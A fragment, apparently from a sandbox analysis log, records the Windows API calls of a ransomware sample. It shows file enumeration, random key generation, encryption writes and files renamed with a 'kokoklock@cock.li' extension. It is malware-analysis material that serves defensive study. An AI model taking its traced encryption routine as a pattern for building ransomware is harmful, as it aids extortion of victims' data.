ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x894e91be, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f804a0 [0177.021] wcscmp (_String1=".", _String2=".") returned 0 [0177.021] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4438da0, ftCreationTime.dwHighDateTime=0x1d4d061, ftLastAccessTime.dwLowDateTime=0x894e91be, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x894e91be, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.021] wcscmp (_String1="..", _String2=".") returned 1 [0177.021] wcscmp (_String1="..", _String2="..") returned 0 [0177.021] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x894c3014, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x894c3014, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x894c3014, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0177.021] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0177.021] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0177.021] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d2d1a10, ftCreationTime.dwHighDateTime=0x1d4c78b, ftLastAccessTime.dwLowDateTime=0x8c51b4a1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c51b4a1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="m4L5-cntR3wF", cAlternateFileName="M4L5-C~1")) returned 1 [0177.021] wcscmp (_String1="m4L5-cntR3wF", _String2=".") returned 1 [0177.021] wcscmp (_String1="m4L5-cntR3wF", _String2="..") returned 1 [0177.021] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8e) returned 0x2f954b8 [0177.021] wcscpy (in: _Dest=0x2f954b8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o" [0177.021] wcscat (in: _Dest=0x2f954b8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\" [0177.021] wcscat (in: _Dest=0x2f954b8, _Source="m4L5-cntR3wF" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF" [0177.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f954b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574 [0177.516] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ed383c0, ftCreationTime.dwHighDateTime=0x1d4d446, ftLastAccessTime.dwLowDateTime=0x20a66820, ftLastAccessTime.dwHighDateTime=0x1d4c920, ftLastWriteTime.dwLowDateTime=0x894c3014, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xfe4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UUUMQY~1.D0E")) returned 1 [0177.516] wcscmp (_String1="UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.516] wcscmp (_String1="UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.516] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd2) returned 0x2f96f78 [0177.516] wcscpy (in: _Dest=0x2f96f78, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o" [0177.516] wcscat (in: _Dest=0x2f96f78, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\" [0177.516] wcscat (in: _Dest=0x2f96f78, _Source="UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731" [0177.516] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754 [0177.517] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbec97d70, ftCreationTime.dwHighDateTime=0x1d4c8c7, ftLastAccessTime.dwLowDateTime=0xb21e7600, ftLastAccessTime.dwHighDateTime=0x1d4cb2b, ftLastWriteTime.dwLowDateTime=0x894e91be, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x184a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="YUVTIB~1.D0E")) returned 1 [0177.517] wcscmp (_String1="yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.517] wcscmp (_String1="yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.517] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe0) returned 0x2f98e00 [0177.517] wcscpy (in: _Dest=0x2f98e00, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o" [0177.517] wcscat (in: _Dest=0x2f98e00, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\" [0177.517] wcscat (in: _Dest=0x2f98e00, _Source="yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731" [0177.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f98e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750 [0177.518] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbec97d70, ftCreationTime.dwHighDateTime=0x1d4c8c7, ftLastAccessTime.dwLowDateTime=0xb21e7600, ftLastAccessTime.dwHighDateTime=0x1d4cb2b, ftLastWriteTime.dwLowDateTime=0x894e91be, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x184a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="YUVTIB~1.D0E")) returned 0 [0177.518] FindClose (in: hFindFile=0x2f804a0 | out: hFindFile=0x2f804a0) returned 1 [0177.519] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3023328) returned 1 [0177.519] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fef968) returned 1 [0177.519] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fefb68) returned 1 [0177.519] RtlExitUserThread (Status=0x0) Thread: id = 2559 os_tid = 0x11f0 [0177.022] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\o0o- eczyjlsaso089x.xls.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.022] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.022] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\o0o- eczyjlsaso089x.xls.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0177.022] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x26effdf8 | out: lpFileSize=0x26effdf8*=93015) returned 1 [0177.022] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x16b53, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.022] ReadFile (in: hFile=0x450, lpBuffer=0x26effdcc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26effdc8, lpOverlapped=0x0 | out: lpBuffer=0x26effdcc*, lpNumberOfBytesRead=0x26effdc8*=0x4, lpOverlapped=0x0) returned 1 [0177.024] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.024] CloseHandle (hObject=0x450) returned 1 [0177.024] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.024] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f974b8) returned 1 [0177.024] RtlExitUserThread (Status=0x0) Thread: id = 2560 os_tid = 0x11f4 [0177.025] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\yjffa8aywk.ods.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.025] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.025] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\yjffa8aywk.ods.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0177.026] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x26f7f9f0 | out: lpFileSize=0x26f7f9f0*=99779) returned 1 [0177.026] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x185bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.026] ReadFile (in: hFile=0x450, lpBuffer=0x26f7f9c4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26f7f9c0, lpOverlapped=0x0 | out: lpBuffer=0x26f7f9c4*, lpNumberOfBytesRead=0x26f7f9c0*=0x4, lpOverlapped=0x0) returned 1 [0177.027] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.027] CloseHandle (hObject=0x450) returned 1 [0177.027] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.027] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa7090) returned 1 [0177.027] RtlExitUserThread (Status=0x0) Thread: id = 2561 os_tid = 0x11f8 [0177.028] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\7zs5qnsws0jj.odp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.030] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.030] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\7zs5qnsws0jj.odp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0177.030] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x26fffce8 | out: lpFileSize=0x26fffce8*=14966) returned 1 [0177.030] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x3a72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.030] ReadFile (in: hFile=0x450, lpBuffer=0x26fffcbc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26fffcb8, lpOverlapped=0x0 | out: lpBuffer=0x26fffcbc*, lpNumberOfBytesRead=0x26fffcb8*=0x4, lpOverlapped=0x0) returned 1 [0177.031] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.032] CloseHandle (hObject=0x450) returned 1 [0177.032] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3618) returned 1 [0177.032] RtlExitUserThread (Status=0x0) Thread: id = 2562 os_tid = 0x11fc [0177.033] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\b1ea0bjewsmargxkvn.doc.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.033] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.034] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\b1ea0bjewsmargxkvn.doc.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0177.034] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2707f820 | out: lpFileSize=0x2707f820*=88478) returned 1 [0177.034] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x1599a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.034] ReadFile (in: hFile=0x450, lpBuffer=0x2707f7f4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2707f7f0, lpOverlapped=0x0 | out: lpBuffer=0x2707f7f4*, lpNumberOfBytesRead=0x2707f7f0*=0x4, lpOverlapped=0x0) returned 1 [0177.035] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.035] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f949c8 [0177.035] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0177.035] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0177.035] NtQuerySystemTime (in: CurrentTime=0x2707f7cc | out: CurrentTime=0x2707f7cc*=132121213343455865) returned 0x0 [0177.035] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0xe3abdb4e [0177.035] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0x23fcee07 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0xcbf2041e [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0xed171d5e [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0x1003957f [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0xae991212 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0xc72c4185 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0xff029843 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0x5ef50607 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0x6d4425f0 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0x798c0157 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0x46fcefd7 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0xc298a7a [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0xffcee733 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0xa1c3e9f5 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0xf98268c1 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0x56b72676 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0x8c960fc8 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0xfa31e402 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0xc968f212 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0x7a5032e3 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0x8f7e0625 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0x2ed001fb [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0x3312df69 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0xb1803a11 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0xdaa56212 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0x2cc66519 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0xa3ff2f6a [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0x1e5c1a24 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0xc8b18e58 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0xefdc7082 [0177.036] RtlRandom (in: Seed=0x2707f7d8 | out: Seed=0x2707f7d8) returned 0xcf9dabf0 [0177.047] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.047] ReadFile (in: hFile=0x450, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2707f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0x2707f7a4*=0x4096, lpOverlapped=0x0) returned 1 [0177.048] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.048] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87230 [0177.048] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88be0 [0177.048] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f949c8 [0177.048] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f949c8) returned 1 [0177.048] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0177.049] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f949c8 [0177.049] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94e28 [0177.049] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94e28) returned 1 [0177.049] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88be0) returned 1 [0177.049] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87230) returned 1 [0177.049] WriteFile (in: hFile=0x450, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2707f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x2707f7a4*=0x4096, lpOverlapped=0x0) returned 1 [0177.049] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0177.049] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x1599e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.049] WriteFile (in: hFile=0x450, lpBuffer=0x2f949c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2707f7dc, lpOverlapped=0x0 | out: lpBuffer=0x2f949c8*, lpNumberOfBytesWritten=0x2707f7dc*=0x20, lpOverlapped=0x0) returned 1 [0177.049] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f949c8) returned 1 [0177.049] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0177.049] WriteFile (in: hFile=0x450, lpBuffer=0x2f94ce8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2707f7f0, lpOverlapped=0x0 | out: lpBuffer=0x2f94ce8*, lpNumberOfBytesWritten=0x2707f7f0*=0x8, lpOverlapped=0x0) returned 1 [0177.050] WriteFile (in: hFile=0x450, lpBuffer=0x2707f808*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2707f7f0, lpOverlapped=0x0 | out: lpBuffer=0x2707f808*, lpNumberOfBytesWritten=0x2707f7f0*=0x4, lpOverlapped=0x0) returned 1 [0177.050] WriteFile (in: hFile=0x450, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2707f7f0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2707f7f0*=0x4, lpOverlapped=0x0) returned 1 [0177.050] WriteFile (in: hFile=0x450, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2707f7f0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2707f7f0*=0x6c, lpOverlapped=0x0) returned 1 [0177.050] WriteFile (in: hFile=0x450, lpBuffer=0x2f94cc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2707f7f0, lpOverlapped=0x0 | out: lpBuffer=0x2f94cc0*, lpNumberOfBytesWritten=0x2707f7f0*=0x20, lpOverlapped=0x0) returned 1 [0177.050] WriteFile (in: hFile=0x450, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2707f7f0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2707f7f0*=0x4, lpOverlapped=0x0) returned 1 [0177.050] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0177.050] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f949a0) returned 1 [0177.050] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ce8) returned 1 [0177.050] CloseHandle (hObject=0x450) returned 1 [0177.050] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x116) returned 0x2fa00f8 [0177.050] wcscpy (in: _Dest=0x2fa00f8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731" [0177.051] 